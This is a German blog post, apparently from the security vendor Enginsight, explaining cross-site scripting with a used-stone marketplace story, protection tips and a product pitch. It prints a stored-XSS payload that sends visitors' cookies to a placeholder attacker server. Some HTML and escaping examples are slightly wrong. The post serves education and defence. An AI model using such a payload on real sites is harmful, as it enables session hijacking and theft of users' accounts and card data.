Erst vor einigen Wochen ging wieder ein großer Fall durch die Medien: „Kreditkartendaten von bis zu 40.000 Käufern kopiert“ 1. Im Mittelpunkt: Der Smartphone Hersteller OnePlus. Das von OnePlus eingesetzte Shopsystem Magento war wohl anfällig für das sogenannte Cross-Site-Scripting. Dadurch waren die Angreifer in der Lage Kreditkartennummern, Gültigkeitsdatum und den meist dreistelligen Sicherheitscode abzufangen.
Den Begriff Cross-Site-Scripting (oder kurz: XSS) hört man in letzter Zeit immer häufiger im Zusammenhang mit Sicherheitsupdates oder eben geklauten Daten. Auch die OWASP (erfahren Sie hier mehr über das OWASP Projekt) nennt Cross-Site-Scripting in ihrem renommierten „Top 10“-Bericht als eine der häufigsten und schwerwiegendsten Sicherheitslücken.
Darum prüfen wir bei Enginsight jetzt auch auf diese Sicherheitslücke. Doch was ist Cross-Site-Scripting eigentlich genau? Hier erfahren Sie alles, was Sie zu dem Thema wissen müssen:
Wie funktioniert Cross-Site-Scripting?
Um die Funktionsweise von Cross-Site-Scripting zu verstehen, müssen wir kurz ausholen und über HTML und JavaScript reden.
Kurzer Exkurs in HTML
Die Grundlage des Internets sind HTML-Dateien. HTML steht für „Hypertext Markup Language“. HTML-Dateien bestehen aus dem ganz normalen Text, den der Besucher der Webseite sehen soll. Außerdem enthalten sie Code, der z.B. angibt, was eine Überschrift ist oder was fett angezeigt werden soll.
HTML-Elemente werden durch so genannte Tags markiert. Ein HTML Dokument fängt an mit dem Tag <html> und endet mit dem Tag <\html>. Alles was zwischen diesen Klammern steht wird als Befehl betrachtet. Dann gibt es noch das Tag <head>, das „Kopfdaten“ (Header) wie z.B. den Titel enthält und das Tag <body> für den eigentlichen Textinhalt.
Wenn man den Text bearbeiten, also z.B. einen Satz fett anzeigen lassen möchte, kann man ein <b> Tag benutzen. Das Ganze könnte dann so aussehen:
<html>
<head>
<title> Hier kommt der Titel hin </title>
</head>
<body>
<b> Dieser Text wird fett gedruckt. <\b>
</body>
<\html>
Dem Nutzer der Seite würde dann angezeigt werden: Dieser Text wird fett gedruckt. Die spitzen Klammern zeigen also immer an: „Achtung hier kommt Befehlcode!“.
JavaScript
So weit so gut. Das hat auch eine Zeit lang alles super funktioniert. Dann allerdings erfand jemand JavaScript. JavaScript ist eine Programmiersprache, die quasi in mitten von Webseiten sitzt. Mit dem Tag <script> wird signalisiert, dass jetzt ein JavaScript-Teil beginnt und mit dem Tag <\script>, dass er endet.
Das Interessante ist nun, dass alles was innerhalb dieser Script-Klammern steht nicht (oder nicht zwangsläufig) vom Benutzer der Webseite gesehen wird. Alles passiert im Hintergrund. Man hat eine komplett separierte Programmiersprache an der Hand, mit der man z.B. Berechnungen ausführen könnte, wie „5+6“:
<html>
<script>
var x = 5;
var y = 6;
var z = x+y;
<\script>
<\html> Das, was uns dieses Script als Ergebnis liefert, könnten wir dann z.B. wiederrum in die Webseite schreiben. Aber das ist natürlich nicht alles, was wir mit JavaScript anstellen können.
IT-Sicherheit: Cross-Site-Scripting am Beispiel erklärt
Denken wir uns nun also eine Web Anwendung aus. Zum Beispiel eine Plattform, auf der Benutzer gebrauchte Steine kaufen und verkaufen können. Natürlich ist jegliche Kommunikation verschlüsselt und der Web Server, auf dem die Anwendung läuft, ist durch eine Firewall geschützt. Ein Benutzer Herbert möchte nun z.B. einen gebrauchten Pflasterstein verkaufen. Herbert muss sich für diesen Vorgang einloggen. Seine Session ID wird in einem „Cookie“ gespeichert. Was genau eine Session ID ist und wofür sie verwendet wird, können Sie hier unter dem Abschnitt „Session Prediction“ nachlesen.
Herbert sendet nun eine Anfrage an den Server, um die Web Anwendung (also die Steine-Börse) zu starten und erhält eine Liste an Angeboten, die schon auf der Serverdatenbank gespeichert sind. Da Herbert aber selber verkaufen möchte, erstellt er einen neuen Eintrag: „Schicker Pflasterstein, kaum Gebrauchsspuren, günstig abzugeben!“. Ein Pflasterstein mit wenig Gebrauchsspuren ist in der Community schon etwas Besonderes, deswegen möchte Herbert diesen Aspekt hervorheben und markiert den Abschnitt mit HTML Tags, so dass er fett gedruckt wird:
"Schicker Pflasterstein, <b> kaum Gebrauchsspuren <\b>, günstig abzugeben!"
Anschließend gibt er noch eine detaillierte Beschreibung seines Pflastersteins ein. Dieses Angebot schickt er an den Server. Herberts Cookie wird bei jeder Anfrage an den Server mitgeschickt, um ihn als Benutzer Herbert zu authentifizieren. Der Server erhält Herberts Pflasterstein-Angebot und speichert es in der Datenbank.
Jetzt kommt unser Hacker Bernd ins Spiel. Bernd ist auch ein gelegentlicher Nutzer der Gebrauchte-Steine-Börse. Dabei fällt ihm das neueste Angebot von Herbert auf. Insbesondere, dass ein Teil des Angebots fett gedruckt ist. Daran erkennt Bernd, dass HTML Tags wohl ein erlaubter Input sind, vielleicht heißt das ja, dass jede Art von HTML Tags erlaubt ist. Also erstellt Bernd nun seinerseits ein Angebot.
Er wählt eine Überschrift, die Aufmerksamkeit erzeugt, damit möglichst viele User auf seine Anzeige klicken: „4 Diamanten! So gut wie neu! Abzugeben für nur 1 Euro!!!“. Statt einer Beschreibung seines Angebots, gibt er nun JavaScript Code ein:
<script>document.write('<img src="https://BerndsServer.com/grab.jsp?cookie=' + document.cookie + '">');
</script>Tut mir leid, die Diamanten sind schon verkauft.
Dieser Code liest das Cookie von jedem User aus, der das Angebot öffnet und sendet es auf Bernds Server. Bernd speichert nun seine böswillige Anzeige auf dem Server der Plattform und muss jetzt nur noch auf Opfer warten.
Die Benutzerin Gisela möchte einen schönen neuen Stein für ihre Sammlung kaufen. Dafür schaut sie immer mal wieder auf die Plattform und sieht sich die aktuellen Angebote an. Auch sie muss sich natürlich dafür einloggen und sich so gegenüber dem Server authentifizieren. Unter den neuen Angeboten findet sie Herberts Angebot „Schicker Pflasterstein, kaum Gebrauchsspuren, günstig abzugeben“.
Aber leider findet sie auch Bernds verlockendes Cross-Site-Scripting Attacken-Angebot. Sobald Gisela auf dieses Angebot klickt, wird Bernds Script in Giselas Browser ausgeführt. Es liest ihr Cookie aus und sendet diesen an Bernds Server. Gisela bekommt davon nichts mit, ihr wird nur die Nachricht angezeigt „Tut mir leid, die Diamanten sind schon verkauft.“
Bernd kann nun Giselas Cookie in seinen Browser laden und sich damit gegenüber der Plattform als Gisela ausgeben. Er kann z.B. Giselas hinterlegte Kreditkartendaten sehen oder auch Einkäufe auf Giselas Namen ausführen.
Wie kann ich mich schützen?
Anwender können sich z.B. mit dem Browser Plug-In „NoScript“ zusätzliche Sicherheit verschaffen. NoScript verhindert standardmäßig das Ausführen von JavaScript. Wenn JavaScript für die Funktion einer Website erforderlich ist und man der Seite vertraut, kann man allerdings auch Ausnahmen hinzufügen.
Tatsächlich sollte aber eigentlich der Seitenbetreiber für Sicherheit vor Cross-Site-Scripting sorgen. Nutzereingaben sollten vor der weiteren Verarbeitung immer genau geprüft werden. Sonderzeichen, wie z. B. < können automatisch durch die Zeichenfolge < ersetzt werden. Damit wird signalisiert, dass wirklich das Symbol < gemeint ist (wie in 3 < 5) und nicht das Sonderzeichen <, welches Code eröffnet. Diesen Vorgang nennt man „Escapen“.
Allerdings werden dabei oft unabsichtlich Lücken gelassen. Denn es gibt noch viel mehr manipulierende Sonderzeichen (z.B. 'oder /) und man darf kein einziges vergessen. Außerdem gibt es noch ein paar Tricks, die Hacker benutzen. Sie ersetzen Sonderzeichen durch andere valide Zeichenketten und schreiben z.B. anstatt <script> Folgendes: \x3script\x3. Damit würde Cross-Site-Scripting dann immer noch funktionieren. Das ist auch der Grund, warum Cross-Site-Scripting so häufig vorkommt, man muss bei der Vorsorge sehr viel beachten.
Deswegen ist es immer gut, die eigene Webseite von Profis checken zu lassen. Wir von Enginsight prüfen aber nicht nur auf Cross-Site-Scripting, sondern außerdem noch auf tausende andere Sicherheitslücken (FREAK, Logjam, Heartbleed, etc.) und Konfigurationsfehler, die zu Gefährdungen führen können. Wie z.B. auch potentielle Verstöße gegen die DSGVO.
Sie können sich jetzt ganz einfach registrieren und unsere Plattform 14 Tage lang kostenlos testen.
Referenzen:
1 – Golem.de – Kreditkartendaten von bis zu 40.000 Käufern kopiert“
